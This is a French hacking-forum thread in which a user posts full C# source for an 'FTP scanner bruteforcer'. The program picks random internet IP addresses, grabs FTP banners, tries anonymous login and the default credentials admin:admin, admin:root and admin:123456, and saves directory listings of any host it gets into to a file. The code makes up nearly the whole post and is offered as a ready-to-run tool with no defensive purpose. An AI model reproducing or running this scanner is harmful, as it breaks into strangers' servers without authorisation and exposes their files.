• STATISTIQUES
  • Il y a eu un total de 2 membres et 13277 visiteurs sur le site dans les dernières 24h pour un total de 13 279 personnes!


    Membres: 2 433
    Discussions: 3 585
    Messages: 32 832
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] PHP Débutant
    Apprendre le PHP par l'exemple, facilement et simplement. Réservé d'abord aux débutants....
    Programmation
    [FR] Asp-php
    Tutoriaux sur ASP, PHP, ASP.net, XML, SQL, Javascript, HTML, VML - Scripts et ressources pour webmasters - Forums d&#...
    Programmation
    [FR] Comment ca marche
     Gratuit et accessible à tous, ce site de communauté permet de se dépanner, se faire aider ...
    Webmaster
    [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [EN] xda-developers
    Très bon site pour les gros bidouilleurs de smartphone de windows à androïd et de Apple jusqu'...
    Phreaking
    [EN] Dare your mind
    JavaScript: 6, Crypto: 44, Stegano: 36, Logic: 13, Special: 27, Science: 11, Realistic: 7, Programming: 10, Crack It: 6,...
    Challenges
    [EN] Hack this site
    Basic: 11, Realistic: 17, Application: 18, Programming: 12, Extbasic: 14, Javascript: 7, Stego: 17
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[C#] FTP scanner bruteforcer
06-03-2013, 18h59 (Modification du message : 06-03-2013, 18h59 par t0fx.)
Message : #1
t0fx Hors ligne
Newbie
*



Messages : 17
Sujets : 4
Points: 6
Inscription : Feb 2013
[C#] FTP scanner bruteforcer
Program.cs
Code :
using System;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Program
    {
        public static int ScanningThreads;

        private static void Main()
        {
            Console.Title = "FTP Scanner by t0fx.";
            Console.WriteLine("       ..................");
            Console.WriteLine("    .::::::::::::::::::::::.");
            Console.WriteLine("  .::: FTP Scanner by t0fx :::.");
            Console.WriteLine(".::::::::::::::::::::::::::::::::.");
            Console.WriteLine("");
            Console.WriteLine("Enter number of threads and press ENTER (50 is a good choice)");
            ScanningThreads = Convert.ToInt32(Console.ReadLine());
            try
            {
                for (int i = 0; i <= ScanningThreads; i++)
                {
                    new Thread(Ftp.GrabBannerFtp).Start();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Console.ReadLine();
            }
        }
    }

    internal class Rng
    {
        public static Random _rng = new Random();

        public static int Next(int min, int max)
        {
            return _rng.Next(min, max);
        }

        public static string GenerateIp()
        {
            return Next(11, 239) + "." + Next(1, 255) + "." + Next(1, 255) + "." + Next(1, 255);
        }
    }

}

ftp.cs
Code :
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Ftp
    {
        public static void GrabBannerFtp()
        {
            while (true)
            {
                try
                {
                    string ipadress = Rng.GenerateIp();
                    Console.WriteLine("FTP Scanning " + ipadress);
                    var data = new byte[1024];
                    string stringData;
                    int recv;
                    var ipep = new IPEndPoint(
                        IPAddress.Parse(ipadress), 21);
                    var server = new Socket(AddressFamily.InterNetwork,
                                            SocketType.Stream, ProtocolType.Tcp);
                    try
                    {
                        server.Connect(ipep);
                    }
                    catch
                    {
                    }
                    var ns = new NetworkStream(server);
                    if (ns.CanRead)
                    {
                        recv = ns.Read(data, 0, data.Length);
                        stringData = Encoding.ASCII.GetString(data, 0, recv);
                        if (stringData.Replace("220", string.Empty) != "")
                        {
                            Console.WriteLine("ftp://" + ipadress + " : " +
                                              stringData.Replace("220", string.Empty));
                            File.AppendAllText("FTP-banners.txt",
                                               "ftp://" + ipadress + " : " +
                                               stringData.Replace("220", string.Empty) + "\r\n");
                        }
                        new Thread(delegate() { CheckHost(ipadress); }).Start();
                    }
                    else
                    {
                        ns.Close();
                        server.Close();
                    }
                }
                catch
                {
                }
            }
        }


        public static void CheckHost(string ipadress)
        {
            try
            {
                var ftpClientRequest = WebRequest.Create("ftp://" + ipadress) as FtpWebRequest;
                if (ftpClientRequest != null)
                {
                    ftpClientRequest.Method = WebRequestMethods.Ftp.ListDirectoryDetails;
                    ftpClientRequest.Proxy = null;
                    ftpClientRequest.Credentials = new NetworkCredential("anonymous", "britney@spears.com");
                    ftpClientRequest.Timeout = 5000;
                    var response = ftpClientRequest.GetResponse() as FtpWebResponse;
                    if (response != null)
                    {
                        var sr = new StreamReader(response.GetResponseStream(), Encoding.ASCII);
                        string datastring = sr.ReadToEnd();
                        response.Close();
                        Console.WriteLine("Anonymous >>>> ftp://" + ipadress);
                        Console.WriteLine(datastring);
                        File.AppendAllText("Access.txt",
                                           "Anonymous >>>> ftp://" + ipadress + "\r\n" +
                                           datastring + "\r\n");
                    }
                    else
                    {
                        ftpClientRequest.Credentials = new NetworkCredential("admin", "admin");
                        var response1 = ftpClientRequest.GetResponse() as FtpWebResponse;
                        if (response1 != null)
                        {
                            var sr = new StreamReader(response1.GetResponseStream(), Encoding.ASCII);
                            string datastring = sr.ReadToEnd();
                            response1.Close();
                            Console.WriteLine("admin:admin >>>> ftp://" + ipadress);
                            Console.WriteLine(datastring);
                            File.AppendAllText("Access.txt",
                                               "admin:admin >>>> ftp://" + ipadress + "\r\n" +
                                               datastring + "\r\n");
                        }
                        else
                        {
                            ftpClientRequest.Credentials = new NetworkCredential("admin", "root");
                            var response2 = ftpClientRequest.GetResponse() as FtpWebResponse;
                            if (response2 != null)
                            {
                                var sr = new StreamReader(response2.GetResponseStream(), Encoding.ASCII);
                                string datastring = sr.ReadToEnd();
                                response2.Close();
                                Console.WriteLine("admin:root >>>> ftp://" + ipadress);
                                Console.WriteLine(datastring);
                                File.AppendAllText("Access.txt",
                                                   "admin:root >>>> ftp://" + ipadress + "\r\n" +
                                                   datastring + "\r\n");
                            }
                            else
                            {
                                ftpClientRequest.Credentials = new NetworkCredential("admin", "123456");
                                var response3 = ftpClientRequest.GetResponse() as FtpWebResponse;
                                if (response3 != null)
                                {
                                    var sr = new StreamReader(response3.GetResponseStream(), Encoding.ASCII);
                                    string datastring = sr.ReadToEnd();
                                    response3.Close();
                                    Console.WriteLine("admin:123456 >>>> ftp://" + ipadress);
                                    Console.WriteLine(datastring);
                                    File.AppendAllText("Access.txt",
                                                       "admin:123456 >>>> ftp://" + ipadress + "\r\n" +
                                                       datastring + "\r\n");
                                }
                            }
                        }
                    }
                }
            }
            catch
            {
            }
        }
    }
}
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Port Scanner sakiir 10 2,615 25-12-2012, 00h50
Dernier message: sakiir

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut